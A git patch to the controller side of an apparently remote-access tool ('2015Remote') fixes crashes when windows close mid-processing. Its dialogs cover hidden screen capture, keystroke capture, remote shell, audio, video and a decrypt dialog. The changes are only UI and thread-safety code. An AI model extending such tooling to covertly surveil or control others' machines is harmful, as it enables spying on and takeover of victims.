From aa34b64995d1907ce4c8c9a96e8b537b97bf810c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 29 Jun 2025 03:29:35 +0800 Subject: [PATCH] fix: Prevent crash when closing window during background data processing --- server/2015Remote/2015RemoteDlg.cpp | 21 +++++++++++---------- server/2015Remote/2015RemoteDlg.h | 2 +- server/2015Remote/AudioDlg.cpp | 5 +++++ server/2015Remote/Chat.cpp | 5 +++++ server/2015Remote/DecryptDlg.cpp | 6 +++++- server/2015Remote/FileManagerDlg.cpp | 9 ++++++--- server/2015Remote/HideScreenSpyDlg.cpp | 5 +++++ server/2015Remote/IOCPServer.h | 19 +++++++++++++++---- server/2015Remote/KeyBoardDlg.cpp | 5 +++++ server/2015Remote/RegisterDlg.cpp | 5 +++++ server/2015Remote/ScreenSpyDlg.cpp | 5 +++++ server/2015Remote/ServicesDlg.cpp | 6 ++++++ server/2015Remote/ShellDlg.cpp | 5 +++++ server/2015Remote/SystemDlg.cpp | 6 ++++++ server/2015Remote/TalkDlg.cpp | 5 +++++ server/2015Remote/VideoDlg.cpp | 8 ++++++-- server/2015Remote/file/CFileManagerDlg.cpp | 9 +++++---- server/2015Remote/sys/MachineDlg.cpp | 9 +++++---- server/2015Remote/sys/MachineDlg.h | 1 - 19 files changed, 106 insertions(+), 30 deletions(-) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a8d93b3..fc98f30 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1644,9 +1644,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) AUTO_TICK(50); - if (ContextObject->v1) { + if (ContextObject->hWnd) { DialogBase* Dlg = (DialogBase*)ContextObject->hDlg; + Dlg->MarkReceiving(true); Dlg->OnReceiveComplete(); + Dlg->MarkReceiving(false); } else { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); if (hEvent == NULL) { @@ -1663,25 +1665,25 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) } } -// 对话框句柄及对话框类型 +// 对话框指针及对话框句柄 struct dlgInfo { - HANDLE hDlg; - int v1; - dlgInfo(HANDLE h, int type) : hDlg(h), v1(type) { } + HANDLE hDlg; // 对话框指针 + HWND hWnd; // 窗口句柄 + dlgInfo(HANDLE h, HWND type) : hDlg(h), hWnd(type) { } }; VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject) { if (!g_2015RemoteDlg) return; - dlgInfo* dlg = ContextObject->v1 > 0 ? new dlgInfo(ContextObject->hDlg, ContextObject->v1) : NULL; + dlgInfo* dlg = ContextObject->hWnd ? new dlgInfo(ContextObject->hDlg, ContextObject->hWnd) : NULL; SOCKET nSocket = ContextObject->sClientSocket; g_2015RemoteDlg->PostMessage(WM_USEROFFLINEMSG, (WPARAM)dlg, (LPARAM)nSocket); - ContextObject->v1 = 0; + ContextObject->hWnd = NULL; } @@ -1968,9 +1970,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) dlgInfo *p = (dlgInfo *)wParam; if (p) { - if (p->v1) { - CDialogBase* Dlg = (CDialogBase*)p->hDlg; - ::PostMessageA(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0); + if (::IsWindow(p->hWnd)) { + ::PostMessageA(p->hWnd, WM_CLOSE, 0, 0); } delete p; p = NULL; diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 348033b..7e6f5b8 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -154,7 +154,7 @@ public: Dlg->Create(id, GetDesktopWindow()); Dlg->ShowWindow(Show); - ContextObject->v1 = id; + ContextObject->hWnd = Dlg->GetSafeHwnd(); ContextObject->hDlg = Dlg; return 0; diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 1c89f2a..4da6dcd 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -115,6 +115,11 @@ void CAudioDlg::OnReceiveComplete(void) void CAudioDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } m_bIsWorking = FALSE; WaitForSingleObject(m_hWorkThread, INFINITE); diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index 6c5fd12..3788ba5 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -111,6 +111,11 @@ void CChat::OnButtonEnd() void CChat::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } CDialogBase::OnClose(); } diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp index 93c4d96..ac26dbf 100644 --- a/server/2015Remote/DecryptDlg.cpp +++ b/server/2015Remote/DecryptDlg.cpp @@ -61,7 +61,11 @@ VOID DecryptDlg::OnReceiveComplete() { void DecryptDlg::OnClose() { CancelIO(); - + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } CDialogBase::OnClose(); } diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index cf23939..af156d9 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -883,10 +883,13 @@ void CFileManagerDlg::FixedRemoteDriveList() void CFileManagerDlg::OnClose() { - // TODO: Add your message handler code here and/or call default - CoUninitialize(); - CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } + CoUninitialize(); DialogBase::OnClose(); } diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index 29fd27d..a861a51 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -95,6 +95,11 @@ END_MESSAGE_MAP() void CHideScreenSpyDlg::OnClose() { CancelIO(); + // 等待数据处理完毕 + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } CDialogBase::OnClose(); } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index df3b143..35d3a90 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -222,7 +222,7 @@ typedef struct CONTEXT_OBJECT CBuffer InCompressedBuffer; // յѹ CBuffer InDeCompressedBuffer; // ѹ CBuffer OutCompressedBuffer; - int v1; + HWND hWnd; HANDLE hDlg; void *olps; // OVERLAPPEDPLUS int CompressMethod; // ѹ㷨 @@ -236,7 +236,7 @@ typedef struct CONTEXT_OBJECT VOID InitMember(SOCKET s) { memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH); - v1 = 0; + hWnd = NULL; hDlg = NULL; sClientSocket = s; PeerName = ::GetPeerName(sClientSocket); @@ -497,9 +497,10 @@ public: IOCPServer* m_iocpServer; CString m_IPAddress; bool m_bIsClosed; + bool m_bIsProcessing; HICON m_hIcon; CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) : - m_bIsClosed(false), + m_bIsClosed(false), m_bIsProcessing(false), m_ContextObject(pContext), m_iocpServer(pIOCPServer), CDialog(nIDTemplate, pParent) { @@ -516,8 +517,17 @@ public: public: virtual void OnReceiveComplete(void) = 0; + // ΪǷڽ + void MarkReceiving(bool recv = true) { + m_bIsProcessing = recv; + } + bool IsProcessing() const { + return m_bIsProcessing; + } void OnClose() { - m_bIsClosed = TRUE; + m_bIsClosed = true; + while (m_bIsProcessing) + Sleep(200); if(m_hIcon) DestroyIcon(m_hIcon); m_hIcon = NULL; CDialog::OnClose(); @@ -529,6 +539,7 @@ public: { delete this; } + // ȡ SOCKET ȡúԱε void CancelIO(){ m_bIsClosed = TRUE; diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 4bce228..9e9de90 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -196,6 +196,11 @@ BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg) void CKeyBoardDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DialogBase::OnClose(); } diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index 0882ad5..3045f6c 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -103,6 +103,11 @@ BOOL CRegisterDlg::OnInitDialog() void CRegisterDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DialogBase::OnClose(); } diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 259567f..e8678f6 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -179,6 +179,11 @@ BOOL CScreenSpyDlg::OnInitDialog() VOID CScreenSpyDlg::OnClose() { CancelIO(); + // 等待数据处理完毕 + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DialogBase::OnClose(); } diff --git a/server/2015Remote/ServicesDlg.cpp b/server/2015Remote/ServicesDlg.cpp index d079449..8ebd873 100644 --- a/server/2015Remote/ServicesDlg.cpp +++ b/server/2015Remote/ServicesDlg.cpp @@ -118,6 +118,12 @@ int CServicesDlg::ShowServicesList(void) void CServicesDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } + DeleteAllItems(); DialogBase::OnClose(); diff --git a/server/2015Remote/ShellDlg.cpp b/server/2015Remote/ShellDlg.cpp index 427b2cc..7b8e7e4 100644 --- a/server/2015Remote/ShellDlg.cpp +++ b/server/2015Remote/ShellDlg.cpp @@ -143,6 +143,11 @@ VOID CShellDlg::AddKeyBoardData(void) void CShellDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DialogBase::OnClose(); } diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index debf5af..d259e87 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -161,6 +161,12 @@ void CSystemDlg::ShowProcessList(void) void CSystemDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } + DeleteAllItems(); DialogBase::OnClose(); } diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index e60185e..2945ba3 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -93,6 +93,11 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg) void CTalkDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DialogBase::OnClose(); } diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index 44b3a15..a29adb0 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -219,14 +219,18 @@ BOOL CVideoDlg::OnInitDialog() void CVideoDlg::OnClose() { + CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } if (!m_aviFile.IsEmpty()) { SaveAvi(); m_aviFile.Empty(); } - CancelIO(); - DialogBase::OnClose(); } diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 87ff9e1..2d0eae9 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -492,11 +492,12 @@ void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) void CFileManagerDlg::OnClose() { - if (m_bIsClosed) return; - CancelIO(); - - DestroyIcon(m_hIcon); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DestroyCursor(m_hCursor); diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index aa98e82..52f2439 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -198,10 +198,6 @@ CString CMachineDlg::__MakePriority(DWORD dwPriClass) return strRet; } -void CMachineDlg::OnReceive() -{ -} - void CMachineDlg::OnReceiveComplete() { if (m_bIsClosed) return; @@ -320,6 +316,11 @@ void CMachineDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult) void CMachineDlg::OnClose() { CancelIO(); + // ȴݴ + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } DeleteList(); if (m_wndStatusBar.GetSafeHwnd()) m_wndStatusBar.DestroyWindow(); diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h index 00b7fba..1d3af3b 100644 --- a/server/2015Remote/sys/MachineDlg.h +++ b/server/2015Remote/sys/MachineDlg.h @@ -21,7 +21,6 @@ public: CTabCtrl m_tab; void OnReceiveComplete(); - void OnReceive(); static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); protected: